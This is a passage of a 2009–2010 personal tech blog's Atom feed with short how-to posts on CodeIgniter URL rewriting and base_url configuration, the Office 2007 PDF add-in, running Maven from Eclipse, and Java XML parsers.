%{REQUEST_FILENAME} !-d&lt;br /&gt;    RewriteRule ^(.*)$ index.php/$1 [L,QSA]            &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;(My case, above changes work fine)&lt;br /&gt;&lt;br /&gt;4. In some case, the default setting for &lt;b&gt;uri_protocol&lt;/b&gt; does not work properly. To solve this problem just replace &lt;b&gt;$config['uri_protocol'] = “AUTO”&lt;/b&gt; by &lt;b&gt;$config['uri_protocol'] = “REQUEST_URI”&lt;/b&gt; from &lt;b&gt;application/config/config.php&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Enjoy,&lt;br /&gt;&lt;br /&gt;Update 26/01: If you want both using index.php with URI or no, you just need to skip option 4 (using uri_protocol as AUTO)&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-695034070438943543?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9Btrtqf6y5gtaZPmzlPic00eOmA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9Btrtqf6y5gtaZPmzlPic00eOmA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9Btrtqf6y5gtaZPmzlPic00eOmA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9Btrtqf6y5gtaZPmzlPic00eOmA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/RfyK9Y2ICSg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/695034070438943543/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/01/codeigniter-remove-indexphp-from-uri.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/695034070438943543?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/695034070438943543?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/RfyK9Y2ICSg/codeigniter-remove-indexphp-from-uri.html" title="CodeIgniter - Remove index.php from URI" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/01/codeigniter-remove-indexphp-from-uri.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UDQ348fyp7ImA9WxBXEU4.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-3303492042297684919</id><published>2010-01-21T20:29:00.000-08:00</published><updated>2010-01-21T20:41:12.077-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-21T20:41:12.077-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="CodeIgniter" /><title>CodeIgniter - Automatic config base url</title><content type="html">In CodeIgniter, you may know that you need to configure base url via config.php (param: $config["base_url"]) so when change domain you may doubt sometimes with such small error; Here a solution to help solving the issue;&lt;br /&gt;&lt;br /&gt;Change at config.php by fix url with this smart url configuration:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;span style="color: rgb(0, 0, 187);"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$config[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'base_url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= ((isset(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_SERVER[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'HTTPS'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) &amp;amp;&amp;amp; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_SERVER[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'HTTPS'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;== &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"on"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;) ? &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"https" &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;: &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"http"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$config[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'base_url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"://"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_SERVER[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'HTTP_HOST'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$config[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'base_url'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;] &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;str_replace&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;basename&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_SERVER[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'SCRIPT_NAME'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;),&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_SERVER[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'SCRIPT_NAME'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;); &lt;/span&gt;&lt;/blockquote&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;/span&gt; &lt;/span&gt; &lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Source: &lt;a href="http://codeigniter.com/wiki/Automatic_configbase_url/"&gt;http://codeigniter.com/wiki/Automatic_configbase_url/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-3303492042297684919?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wfjnzW5PPGJvQquH-8szmZZsiGI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wfjnzW5PPGJvQquH-8szmZZsiGI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wfjnzW5PPGJvQquH-8szmZZsiGI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wfjnzW5PPGJvQquH-8szmZZsiGI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/wKCj0W911ho" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/3303492042297684919/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2010/01/codeigniter-automatic-config-base-url.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/3303492042297684919?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/3303492042297684919?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/wKCj0W911ho/codeigniter-automatic-config-base-url.html" title="CodeIgniter - Automatic config base url" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2010/01/codeigniter-automatic-config-base-url.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YNRXg7fyp7ImA9WxNUFEU.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-6351274076436522199</id><published>2009-11-05T20:12:00.000-08:00</published><updated>2009-11-05T20:19:54.607-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-05T20:19:54.607-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PDF" /><category scheme="http://www.blogger.com/atom/ns#" term="MS Office" /><category scheme="http://www.blogger.com/atom/ns#" term="Tips" /><category scheme="http://www.blogger.com/atom/ns#" term="MS Office 2007" /><category scheme="http://www.blogger.com/atom/ns#" term="XPS" /><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft" /><title>2007 Microsoft Office Add-in: Microsoft Save as PDF or XPS</title><content type="html">I start using MS Office 2007 and also has Adobe Acrobat 8.0 install, I can print as PDF in MS Word 2003 but not with MS Office 2007. See below screen shots of error:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/SvOiylQQSdI/AAAAAAAAARA/x60WGPdiQs4/s1600-h/print_to_pdf.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 328px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SvOiylQQSdI/AAAAAAAAARA/x60WGPdiQs4/s400/print_to_pdf.JPG" alt="" id="BLOGGER_PHOTO_ID_5400839368024803794" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SvOi3BDYfwI/AAAAAAAAARI/r0e4sGTvzjo/s1600-h/print_to_pdf_error_activation.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 179px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SvOi3BDYfwI/AAAAAAAAARI/r0e4sGTvzjo/s400/print_to_pdf_error_activation.JPG" alt="" id="BLOGGER_PHOTO_ID_5400839444206485250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;But in fact with MS Office 2007, Microsoft has provided an add-in for converting from DOC to PDF very easily, just download from: &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=4D951911-3E7E-4AE6-B059-A2E79ED87041&amp;amp;displaylang=en"&gt;http://www.microsoft.com/downloads/details.aspx?FamilyId=4D951911-3E7E-4AE6-B059-A2E79ED87041&amp;amp;displaylang=en&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After I install: &lt;span style="font-weight: bold;"&gt;SaveAsPDFandXPS.exe&lt;/span&gt;&lt;br /&gt;I can convert by go to: &lt;span style="font-weight: bold;"&gt;Save As -&gt; PDF or XPS&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/SvOjvvNIHyI/AAAAAAAAARQ/tvJgsV_b8JI/s1600-h/save_as_pdf.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 398px; height: 400px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SvOjvvNIHyI/AAAAAAAAARQ/tvJgsV_b8JI/s400/save_as_pdf.JPG" alt="" id="BLOGGER_PHOTO_ID_5400840418668060450" border="0" /&gt;&lt;/a&gt;PDF loaded as expected!&lt;br /&gt;Great!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-6351274076436522199?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8Y2Xz46dmnqhRSl2vPBPkjrW3j4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8Y2Xz46dmnqhRSl2vPBPkjrW3j4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8Y2Xz46dmnqhRSl2vPBPkjrW3j4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8Y2Xz46dmnqhRSl2vPBPkjrW3j4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/IMPx6_w3fhE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/6351274076436522199/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/11/2007-microsoft-office-add-in-microsoft.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/6351274076436522199?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/6351274076436522199?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/IMPx6_w3fhE/2007-microsoft-office-add-in-microsoft.html" title="2007 Microsoft Office Add-in: Microsoft Save as PDF or XPS" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_X4hIsD6J-rE/SvOiylQQSdI/AAAAAAAAARA/x60WGPdiQs4/s72-c/print_to_pdf.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/11/2007-microsoft-office-add-in-microsoft.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EAQXs6fCp7ImA9WxNXF08.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-7371310941497407249</id><published>2009-10-04T19:26:00.000-07:00</published><updated>2009-10-04T23:54:00.514-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-04T23:54:00.514-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Django" /><category scheme="http://www.blogger.com/atom/ns#" term="J2EE" /><category scheme="http://www.blogger.com/atom/ns#" term="Ruby on Rails" /><category scheme="http://www.blogger.com/atom/ns#" term="Ruby" /><category scheme="http://www.blogger.com/atom/ns#" term="Presentation" /><category scheme="http://www.blogger.com/atom/ns#" term="barcamppp" /><category scheme="http://www.blogger.com/atom/ns#" term="Python" /><title>At BarCamp 2009, topic: The State of The Art of Web Development</title><content type="html">Hi,&lt;br /&gt;Here is my presentation at barcamp phnom penh 2009, on Sunday 4th of October at Pannasastra University (Norodom), in hall room, Room Phnom Tamao at 11:30am to 12:30pm.&lt;br /&gt;&lt;br /&gt;It was about the state of the art of web development, wanna to express how web technologies going on since it was started and today; also a bit view on how the future is.&lt;br /&gt;&lt;br /&gt;The presentation, it's just starting or a beginning of the topic. Among those points, parts related to technologies of Java/J2EE, Django/Ruby on Rails, PHP style coding need to improve in the presentation, hope to do it more in next part.&lt;br /&gt;&lt;br /&gt;Enjoy here:&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://docs.google.com/present/embed?id=dc6xdjk9_13tpxs2hq&amp;amp;size=m" width="555" frameborder="0" height="451"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-7371310941497407249?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/DadLnsD8OvCcF8rzAoNBupePjfc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DadLnsD8OvCcF8rzAoNBupePjfc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/DadLnsD8OvCcF8rzAoNBupePjfc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/DadLnsD8OvCcF8rzAoNBupePjfc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/jSuZiD074tU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/7371310941497407249/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/10/at-barcamp-2009-topic-state-of-art-of.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/7371310941497407249?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/7371310941497407249?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/jSuZiD074tU/at-barcamp-2009-topic-state-of-art-of.html" title="At BarCamp 2009, topic: The State of The Art of Web Development" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/10/at-barcamp-2009-topic-state-of-art-of.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MFRXw4eSp7ImA9WxNXE0Q.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-5757307801041226053</id><published>2009-10-01T04:51:00.000-07:00</published><updated>2009-10-01T05:16:54.231-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-01T05:16:54.231-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="POM" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Maven 2" /><category scheme="http://www.blogger.com/atom/ns#" term="Eclipse" /><category scheme="http://www.blogger.com/atom/ns#" term="Maven" /><title>Run maven commands in Eclipse as External Tool</title><content type="html">You might already know what is &lt;a href="http://maven.apache.org/index.html"&gt;maven&lt;/a&gt;; it's a tool to build / compile or package java project...&lt;br /&gt;&lt;blockquote&gt;Apache Maven is a software project management and comprehension tool. Based on the concept of a project object model         (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.&lt;br /&gt;  &lt;/blockquote&gt;Here, I want to show how to configure maven to use as external tool in eclipse IDE so easy for you to execute maven commands from the Eclipse interface easy without needing to open a DOS prompt to use. Here is the procedure:&lt;br /&gt;&lt;br /&gt;1. Suppose maven 2 already install some where on your PC, (mine is in D:\Work\install\Tools\maven-2.0.4)&lt;br /&gt;2. From the menu bar, select &lt;span style="font-weight: bold;"&gt;Window&lt;/span&gt; &gt; &lt;span style="font-weight: bold;"&gt;Preferences&lt;/span&gt;. Select the &lt;span style="font-weight: bold;"&gt;Run/Debug&lt;/span&gt; &gt; &lt;span style="font-weight: bold;"&gt;String Substitution&lt;/span&gt;. Add a new variable e.g. &lt;i style="font-weight: bold;"&gt;maven_exec&lt;/i&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SsSbPRCWx7I/AAAAAAAAAPg/RwkmX3Zqd-0/s1600-h/maven_eclipse_maven_exec.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 313px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SsSbPRCWx7I/AAAAAAAAAPg/RwkmX3Zqd-0/s400/maven_eclipse_maven_exec.JPG" alt="" id="BLOGGER_PHOTO_ID_5387601740815583154" border="0" /&gt;&lt;/a&gt;3. Set up a new external launcher from the menu bar, select &lt;span style="font-weight: bold;"&gt;Run &gt; External Tools. Select Program&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SsSbZNDrx_I/AAAAAAAAAPo/cZtV8lTIxP0/s1600-h/maven_eclipse_create_program.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 197px; height: 178px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SsSbZNDrx_I/AAAAAAAAAPo/cZtV8lTIxP0/s400/maven_eclipse_create_program.JPG" alt="" id="BLOGGER_PHOTO_ID_5387601911546103794" border="0" /&gt;&lt;/a&gt;4. Create each maven task, example: in here, I create only the build classpath&lt;br /&gt;&lt;ul&gt;&lt;li&gt;On program, create a new program and name as: build_classpath (any name as you wish)&lt;/li&gt;&lt;li&gt;In location box: choose our created variable:&lt;span style="font-style: italic; font-weight: bold;"&gt; maven_exec&lt;/span&gt;&lt;/li&gt;&lt;li&gt;In Working Directory&lt;span style="font-style: italic; font-weight: bold;"&gt;: &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;choose variable:&lt;span style="font-style: italic; font-weight: bold;"&gt; project_loc&lt;/span&gt;&lt;/li&gt;&lt;li&gt;In Argument, give maven command, in here is:&lt;span style="font-style: italic; font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;eclipse:clean eclipse:eclipse&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Click on Apply and Run if you wish now&lt;span style="font-style: italic; font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/SsSbfmPvHeI/AAAAAAAAAPw/ueepcjx13Ys/s1600-h/maven_eclipse_create_task_build.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 320px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SsSbfmPvHeI/AAAAAAAAAPw/ueepcjx13Ys/s400/maven_eclipse_create_task_build.JPG" alt="" id="BLOGGER_PHOTO_ID_5387602021386755554" border="0" /&gt;&lt;/a&gt;5. So you can execute the external tool program by execute Run button, result should be in console tab:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SsSblobRYUI/AAAAAAAAAP4/RxOQQx5O9aU/s1600-h/maven_eclipse_build_successful.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 193px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SsSblobRYUI/AAAAAAAAAP4/RxOQQx5O9aU/s400/maven_eclipse_build_successful.JPG" alt="" id="BLOGGER_PHOTO_ID_5387602125051224386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Enjoy,&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-5757307801041226053?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Ubd29tllYZxzD7FW14TUevX7Eug/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ubd29tllYZxzD7FW14TUevX7Eug/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Ubd29tllYZxzD7FW14TUevX7Eug/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ubd29tllYZxzD7FW14TUevX7Eug/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/jtYtmVL2BS4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/5757307801041226053/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/10/run-maven-commands-in-eclipse-as.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5757307801041226053?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5757307801041226053?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/jtYtmVL2BS4/run-maven-commands-in-eclipse-as.html" title="Run maven commands in Eclipse as External Tool" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_X4hIsD6J-rE/SsSbPRCWx7I/AAAAAAAAAPg/RwkmX3Zqd-0/s72-c/maven_eclipse_maven_exec.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/10/run-maven-commands-in-eclipse-as.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UCSHgycCp7ImA9WxNQGEU.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-1338035374487678070</id><published>2009-09-25T06:19:00.000-07:00</published><updated>2009-09-25T06:27:49.698-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-25T06:27:49.698-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Jibx" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="XML" /><category scheme="http://www.blogger.com/atom/ns#" term="Digester" /><title>Jibx XML loading &amp; Digester, which one is more flexible?</title><content type="html">&lt;a href="http://jibx.sourceforge.net/"&gt;Jibx &lt;/a&gt;is one of the popular XML parsing in Java and also &lt;a href="http://commons.apache.org/digester/"&gt;Digester&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Jibx bases on binding.xml file to map XML nodes to Java Objects&lt;br /&gt;Digester also base on digester-rule xml file to map to Java Objects&lt;br /&gt;&lt;br /&gt;What I found here, in Jibx we need to map all fields of the XML to the binding but in digester, we can filter for which fields we want...&lt;br /&gt;&lt;br /&gt;To prove, will see in next post for more analyze..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-1338035374487678070?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Bts7NzAXlmqXej2dZB2ESHPPwhM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Bts7NzAXlmqXej2dZB2ESHPPwhM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
